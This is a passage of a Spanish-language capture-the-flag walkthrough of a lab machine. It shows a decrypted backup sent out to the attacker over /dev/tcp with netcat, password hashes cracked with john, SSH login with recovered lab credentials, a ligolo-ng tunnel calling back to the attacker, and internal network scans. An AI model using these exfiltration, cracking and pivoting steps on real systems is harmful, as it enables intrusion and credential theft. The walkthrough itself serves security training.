postgres@drip:/var/lib/postgresql/15/main$ gpg -d -o /tmp/dev-dripmail.old.sql /var/backups/postgres/dev-dripmail.old.sql.gpg

Tenemos la contraseña de la base de datos, la cual podemos intentar usar para descifrar este archivo (
2Qa2SsBkQvsc)
postgres@drip:/var/lib/postgresql/15/main$ gpg -d -o /tmp/dev-dripmail.old.sql /var/backups/postgres/dev-dripmail.old.sql.gpg
gpg: encrypted with 3072-bit RSA key, ID 1112336661D8BC1F, created 2025-01-08
"postgres <postgres@drip.darkcorp.htb>"
Afortunadamente esta contraseña nos permitió descifrar este archivo .gpg
File Transfer
Podemos transferir el archivo resultante hacia nuestra IP para analizarlo localmente.
Para recibir el archivo, iniciaremos un listener con
netcat:nc -lvnp 4444 > dev-dripmail.old.sql
Una vez hemos establecido el listener, procederemos a enviarlo a través de un socket TCP
postgres@drip:/var/lib/postgresql/15/main$ cat /tmp/dev-dripmail.old.sql > /dev/tcp/10.10.15.30/4444
Podemos verificar la integridad de la transmisión calculando el hash del archivo
postgres@drip:/var/lib/postgresql/15/main$ md5sum /tmp/dev-dripmail.old.sql
76fc51180de427dc8500b66a8c062d0c /tmp/dev-dripmail.old.sql
# in the attacker machine
md5sum dev-dripmail.old.sql
76fc51180de427dc8500b66a8c062d0c dev-dripmail.old.sql
Credentials Leakage
Consultando este archivo .sql podremos ver que inserta credenciales en las tablas Admins y Users
--
-- Data for Name: Admins; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public."Admins" (id, username, password, email) FROM stdin;
1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb
2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb
3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb
\.
--
-- Data for Name: Users; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public."Users" (id, username, password, email, host_header, ip_address) FROM stdin;
5001 support d9b9ecbf29db8054b21f303072b37c4e support@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
5002 bcase 1eace53df87b9a15a37fdc11da2d298d bcase@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
5003 ebelford 0cebd84e066fd988e89083879e88c5f9 ebelford@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
\.
Hash Cracking
Podemos aplicar un tratamiento de este archivo para guardar solamente lo que nos interesa, hashes de contraseñas (como rockyou.txt)
bat dev-dripmail.old.sql -r 116:118 -r 127:129 | awk -v OFS=':' '{print $2, $3}' | hashes.txt
bcase:dc5484871bc95c4eab58032884be7225
victor.r:cac1c7b0e7008d67b6db40c03e76b9c0
ebelford:8bbd7f88841b4223ae63c8848969be86
support:d9b9ecbf29db8054b21f303072b37c4e
bcase:1eace53df87b9a15a37fdc11da2d298d
ebelford:0cebd84e066fd988e89083879e88c5f9
Lanzaremos la herramienta john o hashcat para intentar descifrar estos hashes por fureza bruta empleando un diccionario común de posibles contraseñas
john --wordlist=/usr/local/share/wordlists/rockyou.txt hashes.txt --format=Raw-MD5
Created directory: /Users/incommatose/.john
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE4.1 4x5])
Press 'q' or Ctrl-C to abort, almost any other key for status
victor1gustavo@# (victor.r)
ThePlague61780 (ebelford)
2g 0:00:00:02 DONE (2026-05-29 15:16) 0.7142g/s 5122Kp/s 5122Kc/s 9920KC/s !..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
Podemos validar estas credenciales frente al servidor ssh con netexec
nxc ssh drip.htb -u ebelford -p 'ThePlague61780'
SSH 10.129.232.7 22 drip.htb [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3
SSH 10.129.232.7 22 drip.htb [+] ebelford:ThePlague61780 Linux - Shell access!
Shell as ebelford - drip
El usuario ebelford tiene acceso por ssh a la máquina drip, nos conectaremos rápidamente con sshpass
No se recomienda usar esta herramienta en un escenario real, porque muestra las credenciales en texto claro.
sshpass -p 'ThePlague61780' ssh -oStrictHostKeyChecking=no ebelford@drip.htb
Warning: Permanently added 'drip.htb' (ED25519) to the list of known hosts.
Linux drip 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have no mail.
Last login: Wed Feb 5 12:47:18 2025 from 172.16.20.1
ebelford@drip:~$ whoami
ebelford
ebelford@drip:~$ export TERM=xterm
Pivoting
Ya que tenemos una shell más estable, podemos proceder con el acceso a la red interna a través de herramientas de Tunneling o con ssh -D
ebelford@drip:~$ ping -c 1 172.16.20.1
PING 172.16.20.1 (172.16.20.1) 56(84) bytes of data.
64 bytes from 172.16.20.1: icmp_seq=1 ttl=128 time=0.394 ms
--- 172.16.20.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.394/0.394/0.394/0.000 ms
Setup with Ligolo-ng
Iniciaremos el binario proxy de ligolo-ng en nuestra máquina atacante
sudo ./proxy -selfcert
Procederemos a copiar el binario agent a la máquina víctima, podemos hacerlo de forma confiable con scp
sshpass -p 'ThePlague61780' scp -oStrictHostKeyChecking=no agent ebelford@drip.htb:/tmp
sshpass -p 'ThePlague61780' ssh -oStrictHostKeyChecking=no ebelford@drip.htb
ebelford@drip:~$ cd /tmp
ebelford@drip:/tmp$
Desde la máquina víctima, ejecutaremos el binario agent para conectarnos al proxy.
Cuando la conexión se establezca existosamente, en el proxy veremos el mensaje que se muestra más abajo
ebelford@drip:/tmp$ chmod +x agent
ebelford@drip:/tmp$ ./agent -connect 10.10.15.30:11601 -ignore-cert
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established addr="10.10.15.30:11601"
# Proxy message
ligolo-ng » INFO[0115] Agent joined. id=00155d840302 name=ebelford@drip remote="10.129.5.241:49982"
Iniciaremos una nueva interfaz (en mi caso por requierimientos de MacOS necesito que se llame utunX, en Linux/Windows no es necesario)
ligolo-ng » session
? Specify a session : 1 - ebelford@drip - 10.129.5.241:49982 - 00155d840302
[Agent : ebelford@drip] » start --tun utun10
INFO[0156] Starting tunnel to ebelford@drip (00155d840302)
En mi caso configurar la red aplicado en
MacOS, puedes consultar la configuración de enrutamiento en la documentación oficial deligolo-ng.
# Mac config
sudo ifconfig utun10 alias 172.16.20.0 255.255.252.0
sudo route add -net 172.16.20.0/24 -interface utun10
add net 172.16.20.0: gateway utun10
Por último, validaremos la configuración lanzando una traza ICMP a una IP de la red interna que sepamos que se encuentra activa. Por ejemplo, la IP de drip, la cual es la .3
ping -c1 172.16.20.3
PING 172.16.20.3 (172.16.20.3): 56 data bytes
64 bytes from 172.16.20.3: icmp_seq=0 ttl=64 time=414.337 ms
--- 172.16.20.3 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 414.337/414.337/414.337/0.000 ms
Network Enumeration
Perfecto, ya configuramos todo correctamente. Estamos listos para comenzar a escanear la red
Ping Sweep
Comenzaremos nuestro escaneo de la red interna con un ping sweep, de forma que verifiquemos qué hosts se encuentran activos en ella
Un
ping sweep(o barrido deping) es una técnica de red utilizada para identificar qué direcciones IP dentro de un rango determinado pertenecen a dispositivos activos.
fping -ag 172.16.20.0/24 | tee alive_hosts.txt
172.16.20.1
172.16.20.2
172.16.20.3
Port Scanning
Vemos que se encuentran activos los 3 hosts que hasta ahora hemos visto, DC-01, WEB-01 y drip
DC-01
Lanzaremos un escaneo de puertos hacia el host DC-01 con el fin de descubrir los servicios que expone hacia la red
export DC_IP=172.16.20.1
rustscan -a $DC_IP --ulimit 5000 -- -sC -sV -Pn -n -oN DC_services
Nmap scan report for 172.16.20.1
Host is up, received user-set (0.16s latency).
Scanned at 2026-05-29 15:28:56 -04 for 105s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPM91a70VJCxg10WFerhkQv207077raOCX9rTMPBeEbHqGHO954XaFtpqjoofHOQWi2syh7IoOV5+APBOoJ60k0=
| 256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHquJFnMIhX9y8Ea87tDtRWPtxThlpE2Y1WxGzsyvQQM
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack nginx 1.22.1
|_http-server-header: nginx/1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Site doesn\'t have a title (text/html).
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2026-05-29 19:29:06Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp
| Issuer: commonName=DARKCORP-DC-01-CA/domainComponent=darkcorp
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-22T12:09:55
| Not valid after: 2124-12-29T12:09:55
| MD5: f433 7d4f 87a0 c19d 7a7a 7232 111b 499b
| SHA-1: fede 6913 b730 2f06 8beb c623 2271 afa6 7699 2958
| SHA-256: 0313 e714 8e9f 724e bf9a b265 9633 de1c e784 6568 eea0 8859 b058 c0fd 42ce 9e45
| -----BEGIN CERTIFICATE-----
| MIIHAjCCBOqgAwIBAgITKAAAAASG76NV2bWBpwABAAAABDANBgkqhkiG9w0BAQsF
| ADBLMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya2Nv
| cnAxGjAYBgNVBAMTEURBUktDT1JQLURDLTAxLUNBMCAXDTI1MDEyMjEyMDk1NVoY
| DzIxMjQxMjI5MTIwOTU1WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
| AQEAruEnJwmyL0DTlX8q4JpjxGIoMuVSEqhPkCsgQP8xeIcrskg1WNjoaCEvRExW
| lb7bsq2/vLpqBIIs3ngr6Q8mzmOUhyQgTIcq6QA+dL8JzLBFQrClQ02f7G4g6g1V
| pw1UxwjeOmrMMkqw6r2Aoty3wYyjeXwXAMIvztE2ETyHdiJ5Veto6I8Yz7E+EQAM
| HUnXm17llz1Zb/ii4/CpyretE3M1AhrvLi5Oi5UYNntcXrH4B3GrVlXBkeF1uK+j
| Ol8TkrtrR2R9f+2Z3ChX6Pk0tCzIsxv9c+4v6V27YNFb98ClU6Ck1f+vRatzZbxq
| oZwNrFky4HHGIlJBUqcjvg3nUQIDAQABo4IDJjCCAyIwNwYJKwYBBAGCNxUHBCow
| KAYgKwYBBAGCNxUIhaDcTYXg6mmCmYk1gZzNOoWG7hwDASECAW4CAQIwMgYDVR0l
| BCswKQYIKwYBBQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4G
| A1UdDwEB/wQEAwIFoDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsG
| AQUFBwMBMAwGCisGAQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUm6Jgy+5c
| zWivRiAYCFIMQhLzuEMwHwYDVR0jBBgwFoAUveFrnur+AiuTtRhMtL2zcnlaQG0w
| gc4GA1UdHwSBxjCBwzCBwKCBvaCBuoaBt2xkYXA6Ly8vQ049REFSS0NPUlAtREMt
| MDEtQ0EsQ049REMtMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9ZGFya2NvcnAsREM9aHRi
| P2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxE
| aXN0cmlidXRpb25Qb2ludDCBxAYIKwYBBQUHAQEEgbcwgbQwgbEGCCsGAQUFBzAC
| hoGkbGRhcDovLy9DTj1EQVJLQ09SUC1EQy0wMS1DQSxDTj1BSUEsQ049UHVibGlj
| JTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixE
| Qz1kYXJrY29ycCxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNz
| PWNlcnRpZmljYXRpb25BdXRob3JpdHkwOAYDVR0RAQH/BC4wLIISREMtMDEuZGFy
| a2NvcnAuaHRiggxkYXJrY29ycC5odGKCCGRhcmtjb3JwME8GCSsGAQQBgjcZAgRC
| MECgPgYKKwYBBAGCNxkCAaAwBC5TLTEtNS0yMS0zNDMyNjEwMzY2LTIxNjMzMzY0
| ODgtMzYwNDIzNjg0Ny0xMDAwMA0GCSqGSIb3DQEBCwUAA4ICAQCKmQ0FHS5X6atP
| pooTkOmuP5ebsoINxwfx03DKrFY23bDG0Zv7rH92UW4ptkLZ5Vq4W2zHGd9miMAu
| LyGhL8r/mynrC9eaQZykP83hNKidcL8hiaoXi0VkU76oAMSUaI8IjD0iZp+xNRQW
| YOMf2aRDqjVHof9mYJJc94Uobqm/fYaCBS6FnKtXjI1JsCMlKhGBJVMXCu7krOVc
| 47wK/MlP1YH3CaQ1qIFnaxiRPrGM5q1igER1fu4x8ZUqi2I29IAKwlNtvwuQsIWF
| HWTL6jYURAJqNt6rf2llbRKNsA9wWMEh4I3cMXS52IJPSB9r4dpT0Hv6sD+D+azX
| /YNJzUUO+h6gC1B20z6cPVAAQe3yozKRMSh3ja+2EI+9OPgOVDK8RbF2rs8DgtRK
| kys/tCtLZjZaBZ0UDFCr3Uliu2JEcIF5f4Pf2y7VA6Ep8cR+vd4ai4UPr+1wv2DH
| UCHzrLsCiRV4kld9gHkhX8bWlGtO8evo4qV1yZ2KaH2M1zf17VVKUNiaNFev1SGb
| 96Siu0GXXz/lHwrJyfdZkCBp8U7Z5dD0jNwF+0F5f+w3KpPXTXuogw4IRR4ug8A4
| cp+HB0IGKK2YCJZLhjFdBJESYGxtWQBun73Ryt76SlUUSQ1eIUypYOJA78wgMA8A
| w6Gt7i+UoIw1vr6SbQVMyuiM3umSvA==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
443/tcp open ssl/http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DARKCORP-DC-01-CA/domainComponent=darkcorp
| Issuer: commonName=DARKCORP-DC-01-CA/domainComponent=darkcorp
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-29T23:24:10
| Not valid after: 2034-12-29T23:34:10
| MD5: 5e72 14e1 f6b3 9f30 c333 8062 d354 cd58
| SHA-1: 2eb1 b6f7 0f08 9063 e7da 640b c74b 6ab2 bbf4 3591
| SHA-256: b844 6abb 919c c381 92a7 d5bd 8c21 864d 40d8 f89f b218 00d0 0f08 8767 3125 adf2
| -----BEGIN CERTIFICATE-----
| MIIFcTCCA1mgAwIBAgIQUjTGSvFm0p1ICwbO6gGWaDANBgkqhkiG9w0BAQsFADBL
| MRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya2NvcnAx
| GjAYBgNVBAMTEURBUktDT1JQLURDLTAxLUNBMB4XDTI0MTIyOTIzMjQxMFoXDTM0
| MTIyOTIzMzQxMFowSzETMBEGCgmSJomT8ixkARkWA2h0YjEYMBYGCgmSJomT8ixk
| ARkWCGRhcmtjb3JwMRowGAYDVQQDExFEQVJLQ09SUC1EQy0wMS1DQTCCAiIwDQYJ
| KoZIhvcNAQEBBQADggIPADCCAgoCggIBAMvngqG/UnjvQsFBri4zXLzRdYJ25yPq
| ajx4g8LSI5MYTpmQdZUnlqQbwAIK/GL6Ur/hF388TPdtxj90IUowpSniu4T0IbM4
| dnnwOQJBiv80PCBP5ZqC1LGJypWKrdQEuGxKQ7QC74E4ureQwVXMkSIQKf7czDL9
| ZJOsEXGk+JJgcu4tWPbnsJcJV9TEMffURz5AO95S9hr7u/6Rv3Fw+uiKbmGEvSTw
| cG1eSn3HG9zIgghqhdhYoaM2Xxo4LaIEvimjiGRqRATjTRuCiaRj+QprvIhr/Xmt
| I9zg1p/QOpxt6AX5fRHR3kVvmUgEgg7FMsw20Ob3kC2nH+qUTqj3xt2atTBUHjTs
| p7pZuXcgO69hTUS48qM+KEl08ESzmB8o/zFDxyO86Odgl8MvOJmAHJXxwWiKTYuG
| uZg1gK3OPKi/n6PUgxaUyb5NmoBEKaTFy2yVSbW/FKIt9530Q1Gzjue9BYQBS9oL
| AgzSR+EsCP5Zj3AF3pBVdkxOLI0kQpJS26Zfggdl3Izh6aSxbChIvb8MwdmGWr9x
| I0071MZotRLQej+MW8IlpxnypI0Z3fw9zotYFxqJUDsBnNyehmjygQ2Uw06g6ZTJ
| SdAufGvbYtY+FanVC0Cylyrfx+dJ45zwJNOyS0GT/o8ZYOIWm6nmKmWNpuygYLqY
| wzR/J5za3zKZAgMBAAGjUTBPMAsGA1UdDwQEAwIBhjAPBgNVHRMBAf8EBTADAQH/
| MB0GA1UdDgQWBBS94Wue6v4CK5O1GEy0vbNyeVpAbTAQBgkrBgEEAYI3FQEEAwIB
| ADANBgkqhkiG9w0BAQsFAAOCAgEAE/pLahq3wGNrEdWs6MrIfc6C4vaMhq4xLM/x
| Dxz36MdwLtv1rDgV4qtK+6rb5qgXaLNLXWnXQUPjtCezEgDGQslsudW+vUhetKbK
| Hb4Fiu6Fv/eSs6YwNbsMQf9mKVz6EpEVgB3V4pwRH7p3Cw4csAJdLPPGlYRR6WCp
| qWOaqCYOKalajOku//L+3eaf609wQlHxja+HL7LiYb0pEIwz9P98xeeH7ZVMqfMB
| RdRLhdxHwERBbr1lAotuCKLrI36EWR+2tHl6LwstIJcRLdR/9Tot9L4fnhEM11jT
| i1R7XUvj+QcF33hgDSPTPmTMru7meF9+mHvApP7wyeGlQhRq3WuoOAQDLHq6jHN0
| YcqrBbfFpgBuR6NJTiUV0wzwIxeLtXy+8zez0SdOeEhfFGXUxT7iL/kaRmi5tUs6
| wRYkOdSA54/5uu8ImRvBO+0A815aHeWXVcLcWMzlzNG/KRF8KPdk10d0N3P/mCt9
| X7buW5XhW84WytA9KjGjdkrFZvNJHuTos+AYp0Mw4WrpyFr+no1wO3fb+77ULK+h
| Gjo2ayAayuBCO7aCW1ABYhsdXRhNomC25FFV4NNkIEj/qHMMwr315HHQ333RbIvd
| PkAI0bTDDOQUD7gMFrSN2lCFFBSPUwbFaGUKWdiperag3svU4GTkHiUMJt47h968
| 7rPjK3k=
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp
| Issuer: commonName=DARKCORP-DC-01-CA/domainComponent=darkcorp
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-22T12:09:55
| Not valid after: 2124-12-29T12:09:55
| MD5: f433 7d4f 87a0 c19d 7a7a 7232 111b 499b
| SHA-1: fede 6913 b730 2f06 8beb c623 2271 afa6 7699 2958
| SHA-256: 0313 e714 8e9f 724e bf9a b265 9633 de1c e784 6568 eea0 8859 b058 c0fd 42ce 9e45
| -----BEGIN CERTIFICATE-----
| MIIHAjCCBOqgAwIBAgITKAAAAASG76NV2bWBpwABAAAABDANBgkqhkiG9w0BAQsF
| ADBLMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya2Nv
| cnAxGjAYBgNVBAMTEURBUktDT1JQLURDLTAxLUNBMCAXDTI1MDEyMjEyMDk1NVoY
| DzIxMjQxMjI5MTIwOTU1WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
| AQEAruEnJwmyL0DTlX8q4JpjxGIoMuVSEqhPkCsgQP8xeIcrskg1WNjoaCEvRExW
| lb7bsq2/vLpqBIIs3ngr6Q8mzmOUhyQgTIcq6QA+dL8JzLBFQrClQ02f7G4g6g1V
| pw1UxwjeOmrMMkqw6r2Aoty3wYyjeXwXAMIvztE2ETyHdiJ5Veto6I8Yz7E+EQAM
| HUnXm17llz1Zb/ii4/CpyretE3M1AhrvLi5Oi5UYNntcXrH4B3GrVlXBkeF1uK+j
| Ol8TkrtrR2R9f+2Z3ChX6Pk0tCzIsxv9c+4v6V27YNFb98ClU6Ck1f+vRatzZbxq
| oZwNrFky4HHGIlJBUqcjvg3nUQIDAQABo4IDJjCCAyIwNwYJKwYBBAGCNxUHBCow
| KAYgKwYBBAGCNxUIhaDcTYXg6mmCmYk1gZzNOoWG7hwDASECAW4CAQIwMgYDVR0l
| BCswKQYIKwYBBQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4G
| A1UdDwEB/wQEAwIFoDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsG
| AQUFBwMBMAwGCisGAQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUm6Jgy+5c
| zWivRiAYCFIMQhLzuEMwHwYDVR0jBBgwFoAUveFrnur+AiuTtRhMtL2zcnlaQG0w
| gc4GA1UdHwSBxjCBwzCBwKCBvaCBuoaBt2xkYXA6Ly8vQ049REFSS0NPUlAtREMt
| MDEtQ0EsQ049REMtMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9ZGFya2NvcnAsREM9aHRi
| P2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxE
| aXN0cmlidXRpb25Qb2ludDCBxAYIKwYBBQUHAQEEgbcwgbQwgbEGCCsGAQUFBzAC
| hoGkbGRhcDovLy9DTj1EQVJLQ09SUC1EQy0wMS1DQSxDTj1BSUEsQ049UHVibGlj
| JTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixE
| Qz1kYXJrY29ycCxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNz
| PWNlcnRpZmljYXRpb25BdXRob3JpdHkwOAYDVR0RAQH/BC4wLIISREMtMDEuZGFy
| a2NvcnAuaHRiggxkYXJrY29ycC5odGKCCGRhcmtjb3JwME8GCSsGAQQBgjcZAgRC
| MECgPgYKKwYBBAGCNxkCAaAwBC5TLTEtNS0yMS0zNDMyNjEwMzY2LTIxNjMzMzY0
| ODgtMzYwNDIzNjg0Ny0xMDAwMA0GCSqGSIb3DQEBCwUAA4ICAQCKmQ0FHS5X6atP
| pooTkOmuP5ebsoINxwfx03DKrFY23bDG0Zv7rH92UW4ptkLZ5Vq4W2zHGd9miMAu
| LyGhL8r/mynrC9eaQZykP83hNKidcL8hiaoXi0VkU76oAMSUaI8IjD0iZp+xNRQW
| YOMf2aRDqjVHof9mYJJc94Uobqm/fYaCBS6FnKtXjI1JsCMlKhGBJVMXCu7krOVc
| 47wK/MlP1YH3CaQ1qIFnaxiRPrGM5q1igER1fu4x8ZUqi2I29IAKwlNtvwuQsIWF
| HWTL6jYURAJqNt6rf2llbRKNsA9wWMEh4I3cMXS52IJPSB9r4dpT0Hv6sD+D+azX
| /YNJzUUO+h6gC1B20z6cPVAAQe3yozKRMSh3ja+2EI+9OPgOVDK8RbF2rs8DgtRK
| kys/tCtLZjZaBZ0UDFCr3Uliu2JEcIF5f4Pf2y7VA6Ep8cR+vd4ai4UPr+1wv2DH
| UCHzrLsCiRV4kld9gHkhX8bWlGtO8evo4qV1yZ2KaH2M1zf17VVKUNiaNFev1SGb
| 96Siu0GXXz/lHwrJyfdZkCBp8U7Z5dD0jNwF+0F5f+w3KpPXTXuogw4IRR4ug8A4
| cp+HB0IGKK2YCJZLhjFdBJESYGxtWQBun73Ryt76SlUUSQ1eIUypYOJA78wgMA8A
| w6Gt7i+UoIw1vr6SbQVMyuiM3umSvA==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp
| Issuer: commonName=DARKCORP-DC-01-CA/domainComponent=darkcorp
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-22T12:09:55
| Not valid after: 2124-12-29T12:09:55
| MD5: f433 7d4f 87a0 c19d 7a7a 7232 111b 499b
| SHA-1: fede 6913 b730 2f06 8beb c623 2271 afa6 7699 2958
| SHA-256: 0313 e714 8e9f 724e bf9a b265 9633 de1c e784 6568 eea0 8859 b058 c0fd 42ce 9e45
| -----BEGIN CERTIFICATE-----
| MIIHAjCCBOqgAwIBAgITKAAAAASG76NV2bWBpwABAAAABDANBgkqhkiG9w0BAQsF
| ADBLMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya2Nv
| cnAxGjAYBgNVBAMTEURBUktDT1JQLURDLTAxLUNBMCAXDTI1MDEyMjEyMDk1NVoY
| DzIxMjQxMjI5MTIwOTU1WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
| AQEAruEnJwmyL0DTlX8q4JpjxGIoMuVSEqhPkCsgQP8xeIcrskg1WNjoaCEvRExW
| lb7bsq2/vLpqBIIs3ngr6Q8mzmOUhyQgTIcq6QA+dL8JzLBFQrClQ02f7G4g6g1V
| pw1UxwjeOmrMMkqw6r2Aoty3wYyjeXwXAMIvztE2ETyHdiJ5Veto6I8Yz7E+EQAM
| HUnXm17llz1Zb/ii4/CpyretE3M1AhrvLi5Oi5UYNntcXrH4B3GrVlXBkeF1uK+j
| Ol8TkrtrR2R9f+2Z3ChX6Pk0tCzIsxv9c+4v6V27YNFb98ClU6Ck1f+vRatzZbxq
| oZwNrFky4HHGIlJBUqcjvg3nUQIDAQABo4IDJjCCAyIwNwYJKwYBBAGCNxUHBCow
| KAYgKwYBBAGCNxUIhaDcTYXg6mmCmYk1gZzNOoWG7hwDASECAW4CAQIwMgYDVR0l
| BCswKQYIKwYBBQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4G
| A1UdDwEB/wQEAwIFoDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsG
| AQUFBwMBMAwGCisGAQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUm6Jgy+5c
| zWivRiAYCFIMQhLzuEMwHwYDVR0jBBgwFoAUveFrnur+AiuTtRhMtL2zcnlaQG0w
| gc4GA1UdHwSBxjCBwzCBwKCBvaCBuoaBt2xkYXA6Ly8vQ049REFSS0NPUlAtREMt
| MDEtQ0EsQ049REMtMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9ZGFya2NvcnAsREM9aHRi
| P2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxE
| aXN0cmlidXRpb25Qb2ludDCBxAYIKwYBBQUHAQEEgbcwgbQwgbEGCCsGAQUFBzAC
| hoGkbGRhcDovLy9DTj1EQVJLQ09SUC1EQy0wMS1DQSxDTj1BSUEsQ049UHVibGlj
| JTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixE
| Qz1kYXJrY29ycCxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNz
| PWNlcnRpZmljYXRpb25BdXRob3JpdHkwOAYDVR0RAQH/BC4wLIISREMtMDEuZGFy
| a2NvcnAuaHRiggxkYXJrY29ycC5odGKCCGRhcmtjb3JwME8GCSsGAQQBgjcZAgRC
| MECgPgYKKwYBBAGCNxkCAaAwBC5TLTEtNS0yMS0zNDMyNjEwMzY2LTIxNjMzMzY0
